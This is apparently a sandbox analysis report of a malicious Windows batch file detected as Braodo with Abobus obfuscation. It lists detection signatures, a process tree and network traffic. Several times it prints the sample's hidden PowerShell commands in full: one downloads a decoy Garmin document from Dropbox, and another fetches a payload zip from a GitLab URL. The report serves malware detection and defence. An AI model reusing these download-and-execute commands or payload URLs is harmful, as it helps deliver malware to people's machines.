Edit tour

Windows Analysis Report
slifdgjsidfg19.bat

Overview

General Information

Sample name:	slifdgjsidfg19.bat
Analysis ID:	1578276
MD5:	398b1c044e5de310efd112ade1aaef9c
SHA1:	d2bdaa2e2163c7c4426c914c489ea73f273a1c11
SHA256:	0ae88c8213896225ea23515a38ed6a7b1a6ecd102abab3f7493ddd455a697671
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Abobus Obfuscator

Yara detected Braodo

Yara detected Powershell download and execute

AI detected suspicious sample

Sigma detected: PowerShell DownloadFile

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 4176 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6724 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

findstr.exe (PID: 5092 cmdline: fINdstr /L /I set "C:\Users\user\Desktop\slifdgjsidfg19.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 5740 cmdline: fINdstr /L /I goto "C:\Users\user\Desktop\slifdgjsidfg19.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7036 cmdline: fINdstr /L /I echo "C:\Users\user\Desktop\slifdgjsidfg19.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 3380 cmdline: fINdstr /L /I pause "C:\Users\user\Desktop\slifdgjsidfg19.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

find.exe (PID: 2024 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

find.exe (PID: 5032 cmdline: fInd MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5328 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6064 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5000 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7544 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7664 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7388 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
slifdgjsidfg19.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: powershell.exe PID: 5000	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7664	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: powershell.exe PID: 7664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author
amsi64_5000.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7664.amsi.csv	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
amsi64_7664.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", ProcessId: 5000, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", ProcessId: 5000, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7664, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", ProcessId: 5000, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", ProcessId: 5000, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')", ProcessId: 5000, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7388, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.8% probability

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49739 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft\CLR_v4.0.pdb source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbl source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000D.00000002.2260356546.000001E36CBBD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ecn.pdbt source: powershell.exe, 0000000D.00000002.2262151033.000001E36CFB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb>{ source: powershell.exe, 0000000D.00000002.2261579190.000001E36CF40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdbD{ source: powershell.exe, 0000000D.00000002.2261579190.000001E36CF40000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fgh8090051/jgh/-/raw/main/FGa1812.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fgh8090051/jgh/-/raw/main/FGa1812.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: gitlab.com

Source: svchost.exe, 00000019.00000002.3419661873.000001FA6D800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000019.00000003.2432312560.000001FA6D6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: powershell.exe, 0000000D.00000002.2238448127.000001E3017B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E3101B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E310074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950367000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229401B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
